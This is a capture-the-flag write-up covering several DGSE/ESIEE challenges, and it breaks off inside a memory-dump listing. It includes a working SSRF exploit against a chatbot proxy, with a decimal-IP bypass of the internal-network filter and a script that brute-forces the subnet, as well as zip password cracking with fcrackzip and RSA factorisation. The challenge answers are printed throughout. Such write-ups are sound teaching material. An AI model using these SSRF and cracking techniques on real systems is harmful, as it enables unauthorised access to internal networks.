Some data seems to be encoded in this small 20×20 tile, located at (500, 200):
The Python script tile.py has been developed to analyze the pixels:
Some facts can be noted:
The Python script can be refined to show the decimal value encoded for each red pixel:
This kind of representation may refer to a transition table of automatons.
Thus, the method to read the data is:
If 1 is the first letter of the alphabet, the content can be decoded with this Python code:
''.join([ chr(0x40 + x) for x in [1, 18, 2, 18, 5, 4, 5, 16, 15, 9, 4, 19, 13, 9, 14, 9, 13, 21, 13] ]) 'ARBREDEPOIDSMINIMUM'
The description for this challenge is this text:
EvilGouv a récemment ouvert un service de chat-bot, vous savez ces trucs que personne n'aime. Bon en plus d'être particulièrement nul, il doit forcément y avoir une faille. Trouvez un moyen d'accéder à l'intranet ! Lien : https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4 Indice : Réseau local Le flag est de la forme : DGSESIEE{x} avec x un hash
This challenge asks to access the flag that is on the intranet network of the target. The entry point is the Chatbot application running in Javascript on the browser side.
The Chatbot being built in Javascript, the first step was to dive into the code to see what happens.
When you look at the Javascript you can find what are the requests done on the backend.
function askBot(message) { var url = window.location.href + "bot?message=" + message; fetch(url) .then(function (res) { res.json().then(function(data){ var message = urlify(data.message) var urls = data.message.match(urlRegex); if (urls && urls.length > 0) { var url = window.location.href + "proxy?url=" + urls[0]; fetch(url) .then(function (res) { console.log(res); res.json() .then(function (data) { if(data.err){ addMessageContact(message,null); } else{ addMessageContact(message,data); } }).catch(function (err) { addMessageContact(message,null); }); }); } else { addMessageContact(message,null); } }); }); }
We can see that the Chatbot usually gets his response using the following endpoint:
GET bot?message=message
But we can also see that another endpoint is used when the message contains an URL:
GET proxy?url=url
The response received after querying this endpoint let us believe that the backend server will retrieve the content of the “url” specified:
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://doihaveinternet.com/ {"contents":"<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"utf-8\">\n <title>Do I Have Internet</title>\n <style>\n body{\n font-family: sans-serif;\n background-color: #000;\n color:white;\n display:flex;\n align-items: center;\n justify-content: center;\n height:100vh;\n padding:0;\n }\n\n #statusBox{\n flex: auto;\n width:75%;\n text-align: center;\n font-size: 5rem;\n }\n\n h2{\n font-size:2rem;\n font-weight:100;\n }\n\n a{\n color:white;\n background-color: black;\n text-decoration: none;\n }\n\n a:hover{\n color:black;\n background-color: white;\n }\n </style>\n </head>\n <body>\n <div id=\"statusBox\">\n <h1 id=\"status\"/>\n <h2>This incredibly useful service brought to you by <a href=\"http://shaungreiner.com\">Shaun Greiner</a>.</h2>\n </div>\n <script type=\"text/javascript\">\n function updateStatus(){\n var status;\n status = navigator.onLine ? \"Yes.\" : \"No. :(\";\n document.getElementById(\"status\").innerHTML=status;\n }\n updateStatus();\n setInterval(updateStatus,1000);\n </script>\n <script>\n (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){\n (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),\n m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)\n })(window,document,'script','//www.google-analytics.com/analytics.js','ga');\n ga('create', 'UA-12905503-1', 'auto');\n ga('send', 'pageview');\n </script>\n </body>\n</html>\n","title":"Do I Have Internet","icon":"Null"}
We can see that the endpoint returns the HTML content of the url
specified. From here we can guess that we should be able to query the local network of the backend server.
We first try to access the common local IP address: 192.168.0.1.
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://192.168.0.1/ Forbidden
The response indicates that we do not have authorization to access this resource, meaning that we actually did a request on the local network or that we have been logically blocked of doing it.
The next step is to try to bypass the logical block if there is one. Our guess is that a regex matching is used to filter requests made on the local network.
To bypass it we decide to use the integer representation on an IP address to send the request:
ip = (192 << 24) + (168 << 16) + 1 print(ip) 3232235521
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235521/ Not Found
We see that the access is not restricted anymore but the IP used still does not give a positive result.
A bruteforce could be used on all the IPs of the range to try to find one with a different result.
But before executing a bruteforce on a full /16 IP range we try to narrow down the range. After some tests we believe that only the 192.168.0.0/24 range constitutes the internal network because requests on the other subnetworks return a 504 Gateway Time-out error:
ip = (192 << 24) + (168 << 16) + (1 << 8) + 1 >>>print(ip) 3232235846
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235846/ <html> <head><title>504 Gateway Time-out</title></head> <body> <center><h1>504 Gateway Time-out</h1></center> <hr><center>nginx/1.15.12</center> </body> </html>
A /24 range containing only 254 IPs, we proceed to the bruteforce:
from requests import get from time import time for i in range(254): ip = (192 << 24) + (168 << 16) + i start = time() r = get("https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://" + str(ip) + "/") end = time() print(i, end - start, r.status_code, r.text)
This Python script allows us to find the flag located on the integer representation of the IP 192.168.0.70:
$ curl -w "\n" https://challengecybersec.fr/b34658e7f6221024f8d18a7f0d3497e4/proxy?url=http://3232235590/ {"contents":"<!DOCTYPE html>\n<html>\n\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n <link href=\"/35e334a1ef338faf064da9eb5f861d3c/fontawesome/css/all.min.css\" rel=\"stylesheet\">\n <link href=\"/35e334a1ef338faf064da9eb5f861d3c/bootstrap/css/bootstrap.min.css\" rel=\"stylesheet\">\n <link href=\"/35e334a1ef338faf064da9eb5f861d3c/css/style_index.css\" rel=\"stylesheet\">\n <link rel=\"icon\" href=\"/35e334a1ef338faf064da9eb5f861d3c/img/favicon.ico\" />\n <title>Evil Gouv intranet</title>\n</head>\n\n<body>\n <div>\n <h1>FLAG DGSESIEE{2cf1655ac88a52d3fe96cb60c371a838}</h1>\n</div>\n</body>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/jquery-3.5.1.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/popper.min.js\"></script>\n<script src=\"/35e334a1ef338faf064da9eb5f861d3c/js/bootstrap.min.js\"></script>\n\n</html>","title":"Evil Gouv intranet","icon":"Null"}
The description of the challenge is the following one :
Un de vos collègues a créé un petite énigme, il est un peu lourd et vous demande depuis des semaines de la résoudre, faites lui plaisir. Voici l'énigme : Quelle heure est-t-il ? Connectez-vous via nc challengecybersec.fr 6660 Le flag est de la forme : DGSESIEE{x} avec x un hash
Unix time is the number of seconds that have elapsed since the Unix epoch; the Unix epoch is 00:00:00 UTC on 1 January 1970.
The manual page for the date
command states that the %s
format provides such a number. The current quantity of seconds can be sent to the server with this kind of commands:
$ date +%s | nc challengecybersec.fr 6660 Entrez la reponse : > Bravo ! Voici le flag : DGSESIEE{cb3b3481e492ccc4db7374274d23c659}
The background of the mission is:
Evil Country a développé et implémenté sur FPGA son propre algorithme de chiffrement par blocs de 45 bits avec une clé de 64 bits. cipher.txt est un message chiffré avec la clé key=0x4447534553494545. Un agent a réussi à récupérer - le code VHDL de l'algorithme (evil_cipher.vhd) - la fin du package VHDL utilisé (extrait_galois_field.vhd) - le schéma de la fonction permutation15 (permutation15.jpg) - le schéma du composant key_expansion (key_expansion.jpg) Un exemple de texte chiffré se trouve dans le fichier evil_example.txt (dans l'archive zip) Déchiffrez le message. Le flag est de la forme DGSESIEE{x} avec x un hash evil_cipher.zip (SHA256=0b8ade55e61e2e0188cea2a3c004287ca16b9b1ee2951fa4ffe1b27963544434) : https://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/evil_cipher.zip
The ZIP file contains:
From the sample, data appear to be translated byte by byte before being encrypted. For instance:
01000100 01000111 01010011 01000101 01010011 01001001 01000101 01000101 01111011 44 = D 47 = G 53 = S 45 = E 53 = S 49 = I 45 = E 45 = E 7b = {
Some online resources help to understand VHDL if needed:
The key point is that variables and signals are different: a new value assignment is immediate for variables, but it is taken into account only at the end of a process for signals.
Translating the permutation process into Python code is quite straightforward:
Translating the key expansion needs some help from GIMP, but is not so complicated:
If the load
signal is on, the key is loaded and stored into reg
. Otherwise, the new reg
value is computed from the previous state, with three XOR operations to define bits 9, 34 and 61.
rkey
is built from the 45 lowest bits of reg
.
The remaining VHDL is rather readable.
Once an encryption routine is setup and validated by the provided sample, it can be noticed that the second line of the final content to decrypt starts with DGSESIEE
in its encrypted form.
As reverting the whole encryption process is hard due to the multiple XOR operations inside the round operation, a bruteforce with the [a-f0-9] charset was chosen to solve the problem:
In bruteforce we trust!
With the evil-vhdl-boost.py Python script, the flag can thus get recovered 45-bit block by 45-bit block.
A Python module has also been developed to increase the cracking speed. It can be compiled and used by running:
$ export PYTHONPATH=$PWD/evilnative $ make -C evilnative
The mission is introduced by the following text:
Le code d'accès d'un centre militaire de télécommunications est saisi sur un clavier. Un agent a accédé au matériel (Cf. photos face avant et face arrière du clavier) et a inséré un dispositif pour enregister les données binaires qui transitent sur le connecteur du clavier. Le fichier joint (keypad_sniffer.txt) comprend les données binaires (échantillonnées à une fréquence de 15 kHz) au moment où une personne autorisée rentrait le code d'accès. Retrouvez le code d'accès. Le flag est de la forme DGSESIEE{X} où X est le code saisi keypad_sniffer.txt (SHA256=f5660a0b1c8877b67d7e5ce85087138cbd0c061b0b244afc516c489b39a7f79d) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_sniffer.txt keypad_face.jpg (SHA256=b39c0d732f645fc73f41f0955233bec3593008334a8796d2f1208346f927fef2) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_face.jpg keypad_back.jpg (SHA256=1f5d41c3521d04494779e43a4d5fae7cb14aad44e6e99cf36642ff4e88fab69f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/keypad_back.jpg
Google with its reverse image search feature suggests “digicode arduino” as search object. This leads to a Wiki page explaining how to deal with keypads:
To detect a key press, all columns are scanned, one by one; if a line is at the same state that a scanned column, that means there is a connection and the corresponding key is pressed!
The first step is to recover the links between the keypad and the processing unit:
Some analysis is required to retrieve the bit order:
$ < keypad_sniffer.txt sed 's/^\(.\).*$/\1/' | sort | uniq 1 $ < keypad_sniffer.txt sed 's/^.*\(.\)$/\1/' | sort | uniq 0 1
As the first figure is always constant and the last one is not, the twelfth link on the printed circuit board is depicted by this first figure and bits have to by read from right (link 1) to left (link 12).
Extra tests show that pins 12-6 and 11-5 are indeed connected:
$ < keypad_sniffer.txt sed 's/^\(.\).....\(.\).....$/\1-\2/' | sort | uniq 1-1 $ < keypad_sniffer.txt sed 's/^.\(.\).....\(.\)....$/\1-\2/' | sort | uniq 0-0
By observing the first entries, a pattern becomes visible at the right side:
$ < keypad_sniffer.txt uniq | head -10 101111100111 # 0111 101111101011 # 1011 101111101101 # 1101 101111101110 # 1110 101111100111 # 0111 101111101011 # 1011 101111101101 # 1101 101111101110 # 1110 101111100111 # 0111 101111101011 # 1011
There is an iteration on the bits 1-4, where bits are put at low state, one at a time.
This should be a column scan. Bits 7-10 are at high state, meaning none of them meet the state of the scanned column. So no key seems to be pressed.
When analysis the data, some care must be respected, as the sampling frequency may not match the board frequency:
The Python script keypad-code.py finally parses the hardware events:
$ python3 ./keypad-code.py [*] States for #0: 0, 1 [*] States for #1: 0, 1 [*] States for #2: 0, 1 [*] States for #3: 0, 1 [*] States for #4: 0 [*] States for #5: 1 [*] States for #6: 0, 1 [*] States for #7: 0, 1 [*] States for #8: 0, 1 [*] States for #9: 0, 1 [*] States for #10: 0 [*] States for #11: 1 [i] All ground links are consistent. [i] Link 5-11: always 0 [i] Link 6-12: always 1 [i] Filtered 615535 samples [!] Missed samples for column 0 @ 23324: "1110 1111 " [!] Missed samples for column 1 @ 23324: "1110 1111 " [!] Missed samples for column 2 @ 23324: "1110 1111 " [!] Missed samples for column 0 @ 31129: "1110 1110 " [!] Missed samples for column 1 @ 31129: "1110 1110 " [!] Missed samples for column 2 @ 31129: "1110 1110 " [!] Missed samples for column 1 @ 71187: "0111 1111 " [!] Missed samples for column 2 @ 71187: "0111 1111 " [!] Missed samples for column 3 @ 71187: "0111 1111 " [i] Added 9 new samples [i] Skipped 93456 samples with or without key pressed [i] Retrieved code: AE78F55C666B23011924 [>] Flag is DGSESIEE{AE78F55C666B23011924}
The instructions for the mission are:
Une livraison de souffre doit avoir lieu 47°N 34 2°W 1 39. Elle sera effectuée par un certain REJEWSKI. Il a reçu des instructions sur un foulard pour signaler à Evil Gouv son arrivée imminente. Nous avons une photo du foulard, mais celle-ci n'est pas très nette et nous n'avons pas pu lire toutes les informations. Le fichier foulard.txt, est la retranscription du foulard. Nous avons un peu avancé sur les parties illisibles : (texte illisible 1) est deux lettres un espace deux lettres. Il pourrait y avoir un lien avec le dernier code d'accès que vous avez envoyé à Antoine Rossignol. (texte illisible 2) a été totalement effacé et enfin (texte illisible 3) semble être deux lettres. REJEWSKI vient d'envoyer un message (final.txt). Il faut que vous arriviez à le déchiffrer. Je vous conseille d'utiliser openssl pour RSA. Le flag est de la forme DGSESIEE{MESSAGE} où MESSAGE correspond à la partie centrale du texte en majuscules sans espace. final.txt (SHA256=1e93526cd819aedb8496430a800a610068e95762536b0366ca7c303a74eaab03) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/final.txt foulard.txt (SHA256=9c8b0caf9d72fa68ddb6b4a68e860ee594683f7fe4a01a821914539ef81a1f21) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/foulard.txt
The goal is thus to retrieve a file encrypted with an Enigma M3 machine at first, then with RSA.
Modulus and public exponent are provided in the foulard.txt
file.
Modulus (décimal): 25195908475657893494027183240048398571429282126204032027777137836043662020707595556264018525880784406918290641249515082189298559149176184502808489120072844992687392807287776735971418347270261896375014971824691165077613379859095700097330459748808428401797429100642458691817195118746121515172654632282216870038352484922422622979684865170307405907272815653581732377164114195025335694039872221524699156538352092782201392513118326772302632498764753996118057437198905106508696675497143847180616766425109043955104189270381382844602871223783458512671511503420521749067165952916834014926827585314522687939452292676577212513301 PublicExponent (décimal) : 65537
To sum up:
n
is the product of two prime numbers p
and q
such as n = pq
and defines with the exponent the public key (n, e)
;n
(ie. finding p
and q
), and thus decrypting the messages encrypted with the relative public key.A quick analysis allows to state the a 2048-bit key is involved; such a key is hard to crack:
from math import log >>> log(N) / log(2) 2047.6408959263592
However, it is possible to factorize a prime number if the p
and q
integers were wrongly choosen. Let’s try a factorization with an Integer factorization calculator found thanks to Google:
25195 908475 657893 494027 183240 048398 571429 282126 204032 027777 137836 043662 020707 595556 264018 525880 784406 918290 641249 515082 189298 559149 176184 502808 489120 072844 992687 392807 287776 735971 418347 270261 896375 014971 824691 165077 613379 859095 700097 330459 748808 428401 797429 100642 458691 817195 118746 121515 172654 632282 216870 038352 484922 422622 979684 865170 307405 907272 815653 581732 377164 114195 025335 694039 872221 524699 156538 352092 782201 392513 118326 772302 632498 764753 996118 057437 198905 106508 696675 497143 847180 616766 425109 043955 104189 270381 382844 602871 223783 458512 671511 503420 521749 067165 952916 834014 926827 585314 522687 939452 292676 577212 513301 (617 digits) = 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 922072 509317 288610 921313 165983 511118 710663 006195 067967 359930 650798 771955 898733 591259 847660 546621 410836 961591 033768 576235 120772 719980 885978 288100 259351 535587 (309 digits) × 158 732191 050391 204174 482508 661063 007579 358463 444809 715795 726627 753579 970080 749948 404278 643259 568101 132671 402056 190021 464753 419480 472816 840646 168575 222628 947270 302161 138343 957754 574996 070959 235670 661942 404500 680792 678841 762019 555105 315453 800615 468142 560756 025651 432301 649463 625322 248315 792212 286183 936318 080423 (309 digits)
So:
p = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587 q = 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423
The private key can now be recovered with the rsatool.py
tool available on Github:
$ git clone https://github.com/ius/rsatool $ sudo apt install gmp-dev $ pip install gmpy $ cd rsatool $ python rsatool.py -f PEM -o priv.key -p 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628922072509317288610921313165983511118710663006195067967359930650798771955898733591259847660546621410836961591033768576235120772719980885978288100259351535587 -q 158732191050391204174482508661063007579358463444809715795726627753579970080749948404278643259568101132671402056190021464753419480472816840646168575222628947270302161138343957754574996070959235670661942404500680792678841762019555105315453800615468142560756025651432301649463625322248315792212286183936318080423
The message can be decrypted with the rebuilt private key:
$ openssl rsautl -decrypt -inkey priv.key -in final.txt -out final.txt.dec $ cat final.txt.dec IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD
The protocol used by the Nazis was the following one:
The Kenngruppen part is not interesting because it is letters linked to a code table not available. The IVQDQT NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD
content should be the duplicated message key, followed by the encrypted message and the recipient name.
Based on the foulard.txt
document, the machine should be configured with:
Let’s try the (I III V, MER, REJ, BA EZ) configuration:
The decrypted message starts with a duplicated sequence of three characters ZFGZFG
, as expected.
By testing several cases, the following results appear:
BA EZ => zfgzf gcmfq jlfjd tmorq gnfba qmucz qyrys noour BE AZ => bfgbf gcmve jlfjg tmorq gnfzn qmucp qyrys noour BZ AE => afgaf gcmcx jlfjv tmorq gnfeg qmucz qyrys noour
It is possible that the unreadable texts 2 and 3 are related to a hint of the message key, which would start with the B
letter (and thus the (BE AZ) plugboard configuration).
However there should be no reason in a real situation to state to message key, as the recipient would only have to decrypt the first three letters to get this key. So it is either a specific hint for this challenge, or an information not related to the message key, and thus which can be discarded.
Once the machine reconfigured with the new rotors position BFG
and the first six letters of the encrypted message deleted, we get:
NHABMPSVBYYUCJIYMJBRDWXAXP THYVCROD => lessa nglot slong sdesv iolon swjvd loit
The flag is the middle part of the text in the original encrypted message NHABMPSVBYYUCJIYMJBRDWXAXP
: LESSANGLOTSLONGSDESVIOLONS.
The last 8 characters should belong to the transmitter name REJEWSKI
; this name can be retrieved by reinitializing the rotors position with the message key BFG
:
THYVCROD => rejew ski
The current situation is:
Stockos a encore choisi un code d'accès qui est solution d'une énigme mathématique ! Retrouvez x tel que : 17^x ≡ 183512102249711162422426526694763570228 [207419578609033051199924683129295125643] Le flag est de la forme : DGSESIEE{x} avec x la solution
This was a straightforward Discrete Logarithm Problem.
While there is some complicated math going on behind the actual solving of the equation, some tools like sage
or Magma
are already equipped with all the necessary stuff to compute the result.
We decided to give a try to an online Magma calculator. Simply plug in the values and it will spit the result back out:
p := 207419578609033051199924683129295125643; K := GF(p); n := K ! 183512102249711162422426526694763570228; y := K ! 17; x := Log(y, n); x;
And the solution is: 697873717765.
The operational context for this challenge is:
Nous avons intercepté un fichier top secret émanant d'Evil Country, il est très certainement en rapport avec leur programme nucléaire. Personne n'arrive à lire son contenu. Pouvez-vous le faire pour nous ? Une archive était dans le même dossier, elle peut vous servir Le flag est de la forme : DGSESIEE{x} avec x un hash que vous trouverez message.pdf (SHA256=e5aa5c189d3f3397965238fbef5bc02c889de6d5eac713630e87377a5683967c) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/message.pdf secrets.zip (SHA256=ae5877bb06ac9af5ad92c8cd40cd15785cbc7377c629ed8ec7443f251eeca91f) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/secrets.zip
We were given two files:
Since there was no valuable information at first sight, we tried a different approach. Using Dider Stevens’ tool called pdf-parser, we parsed the file to display the objects it contained:
<html> <!DOCTYPE html> <html> <head> <title>Flag</title> <meta charset="utf-8"> </head> <body> <script> var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54]; </script> <!----!> <script>for(i=0;i<flag.length;i++){flag[i] = flag[i]+4} alert(String.fromCharCode.apply(String, flag));</script> <body> </html>
There is some Javascript here that makes a popup appear with “_4aee=7<e5:” written on it.
7 0 obj << /Length 50 >> stream BT /F1 50 Tf 10 400 Td 0 0 0 rg <5b 31 5d 34 64 38 36 32 64 35 61> Tj ET endstream endobj 8 0 obj << /Length 50 >> stream BT /F1 70 Tf 150 700 Td 255 255 255 rg (Top Secret) Tj ET endstream endobj 9 0 obj << /Length 50 /MediaBox [0 0 20 20] >> stream BT /F1 9 Tf 30 600 Td 1 0 0 700 0 0 Tm 0 0 0 rg <43 65 20 64 6f 63 75 6d 65 6e 74 20 63 6f 6e 63 65 72 6e 65 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6c 65 69 6c 20 61 74 6f 6d 69 71 75 65 2e 0a 43 65 74 74 65 20 6f 70 65 72 61 74 69 6f 6e 20 65 73 74 20 73 74 72 69 63 74 65 6d 65 6e 74 20 63 6f 6e 66 69 64 65 6e 74 69 65 6c 6c 65 20 65 74 20 6e 65 20 64 6f 69 74 20 65 6e 20 61 75 63 75 6e 20 63 61 73 20 ea 74 72 65 20 64 65 76 6f 69 6c 65 65 2e 20 0a 4c 65 73 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 73 20 73 75 72 20 6c 20 6f 70 65 72 61 74 69 6f 6e 20 73 6f 6e 74 20 64 69 73 73 65 6d 69 6e e9 65 73 20 64 61 6e 73 20 63 65 20 66 69 63 68 69 65 72 2e 0a 43 68 61 71 75 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 65 73 74 20 69 64 65 6e 74 69 66 69 65 65 20 70 61 72 20 75 6e 20 6e 6f 6d 62 72 65 20 70 61 72 20 65 78 20 3a 20 0a 5b 30 5d 61 65 37 62 63 61 38 65 20 63 6f 72 72 65 73 70 6f 6e 64 20 61 20 6c 61 20 70 72 65 6d 69 e8 72 65 20 70 61 72 74 69 65 20 64 65 20 6c 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 71 75 20 69 6c 20 66 61 75 74 20 63 6f 6e 63 61 74 65 6e 65 72 20 61 75 20 72 65 73 74 65 2e> Tj ET endstream endobj 11 0 obj << /Length 50 >> stream BT /F1 70 Tf 150 700 Td 255 255 255 rg (Top Secret) Tj ET endstream endobj
We decoded the bytes contained between “<” and “>” in each object:
According to what is written in the last portion, the “[1]…” is something we need to keep for later use.
Using a ZIP cracking tool called fcrackzip, we found the password of the archive:
$ fcrackzip -D -p ./crackstation-human-only.txt -v -u secrets.zip found file 'hint.png', (size cp/uc 137659/137622, flags 9, chk 76d4) found file 'info.txt', (size cp/uc 109/ 107, flags 9, chk 9748) checking pw fate3147 PASSWORD FOUND!!!!: pw == finenuke
Using this password to unzip secrets.zip, we got two files again:
Ange Albertini key='\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei' iv='\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82' [3]4037402d4
Ange Albertini is well know for his technique to embed a file into another one using block-cipher encryption. We also got a key and an IV, which could be useful in a cipher like Blowfish. Finally, we have [3]4037402d4.
Using these hints, we encrypted our original PDF message.pdf using Blowfish, in hope of getting a new file. Here is the small Python code we made:
from Crypto.Cipher import Blowfish key = b'\xce]`^+5w#\x96\xbbsa\x14\xa7\x0ei' iv = b'\xc4\xa7\x1e\xa6\xc7\xe0\xfc\x82' algo = Blowfish.new(key, Blowfish.MODE_CBC, iv) with open('message.pdf', 'rb') as f: d = f.read() d = algo.encrypt(d) with open('dec.bin', 'wb') as f: f.write(d)
And here is the result of binwalk
on this new-found file:
$ binwalk -e dec.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 72613 0x11BA5 ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
There was actually an ELF embedded in the PDF! We used IDA decompiler to look up its content and found this:
checkpassword(puVar2); if ((puVar2[1] ^ *puVar2) == 0x69) { if ((puVar2[2] ^ puVar2[1]) == 0x6f) { if ((puVar2[3] ^ puVar2[2]) == 0x38) { if ((puVar2[4] ^ puVar2[3]) == 0x56) { if ((puVar2[5] ^ puVar2[4]) == 0x50) { if ((puVar2[6] ^ puVar2[5]) == 0x57) { if ((puVar2[7] ^ puVar2[6]) == 0x50) { if ((puVar2[8] ^ puVar2[7]) == 0x56) { if ((puVar2[9] ^ puVar2[8]) == 6) { if (puVar2[9] == 0x34) { puts(&aBravo); exit(0); } } } } } } } } } }
We implemented this chain of “if” conditions in reverse order using another Python code:
mdp = [ 0x34 ] mdp = [ mdp[0] ^ 6 ] + mdp mdp = [ mdp[0] ^ 0x56 ] + mdp mdp = [ mdp[0] ^ 0x50 ] + mdp mdp = [ mdp[0] ^ 0x57 ] + mdp mdp = [ mdp[0] ^ 0x50 ] + mdp mdp = [ mdp[0] ^ 0x56 ] + mdp mdp = [ mdp[0] ^ 0x38 ] + mdp mdp = [ mdp[0] ^ 0x6f ] + mdp mdp = [ mdp[0] ^ 0x69 ] + mdp print(mdp) print(bytes(mdp))
Result of this script:
$ python3 script.py [91, 50, 93, 101, 51, 99, 52, 100, 50, 52] b'[2]e3c4d24'
We had now [2]e3c4d24.
To sum up, we had:
According to the example given in the info.txt of secrets.zip, there was a [0] string that we were missing. We still did not know what the javascript found at the beginning meant but the missing string could be there.
Reminder of what the code looked like:
var flag = [91, 48, 93, 97, 97, 57, 51, 56, 97, 49, 54]; for (i = 0; i < flag.length; i++) { flag[i] = flag[i] + 4 } alert(String.fromCharCode.apply(String, flag));
We removed the “+4” from the script and obtained the last part: [0]aa938a16
As instructed in info.txt, we concatenated each part and got the flag: DGSESIEE{aa938a164d862d5ae3c4d244037402d4}.
The hint for this mission is the following one:
Nous pensons avoir retrouvé la trace d'Eve Descartes. Nous avons reçu un fichier anonyme provenant d'un smartphone Android (probablement celui de son ravisseur). Retrouvez des informations dans son historique de position. Le flag est de la forme DGSESIEE{x} avec x une chaine de caractères memdump.txt (SHA256=29c702ff8dc570319e5e8d05fc4cb96c1536b595b9a4e93d6205774f9afd2bff) : http://challengecybersec.fr/d3d2bf6b74ec26fdb57f76171c36c8fa/memdump.txt
We only had a memdump.txt file to work with. This file was actually a memory dump from an Android smartphone and was supposed to contain GPS location history of Eve Descartes.
When searching for the word “gps” in the text file, we found something very interesting: a history of custom locations. Each custom location is a list of GPS coordinates.
$ cat memdump.txt [...] Historical Records by Provider: com.google.android.gms: gps: Interval 360 seconds: Duration requested 0 total, 0 foreground, out of the last 8 minutes: Currently active android: passive: Min interval 0 seconds: Max interval 1800 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active com.google.android.gms: passive: Interval 0 seconds: Duration requested 8 total, 8 foreground, out of the last 8 minutes: Currently active Last Known Locations: gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+8m21s703ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] Last Known Locations Coarse Intervals: gps: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] passive: Location[gps 37.421998,-122.084000 hAcc=20 et=+43s355ms alt=5.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] Custom Location History : Custom Location 1 gps: Location[gps -47,1462046 30,9018186 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1963297 30,9012294 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1970164 30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1438013 30,8652827 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1448313 30,9642508 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] Custom Location 2 gps: Location[gps -47,0820032 30,8641039 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1300684 30,8643986 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,1304118 30,9006402 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 vAcc=??? sAcc=??? bAcc=??? {Bundle[{satellites=0, maxCn0=0, meanCn0=0}]}] gps: Location[gps -47,0789133 30,9003456 hAcc=20 et=??? alt=0.0 vel=0.0 bear=0.0 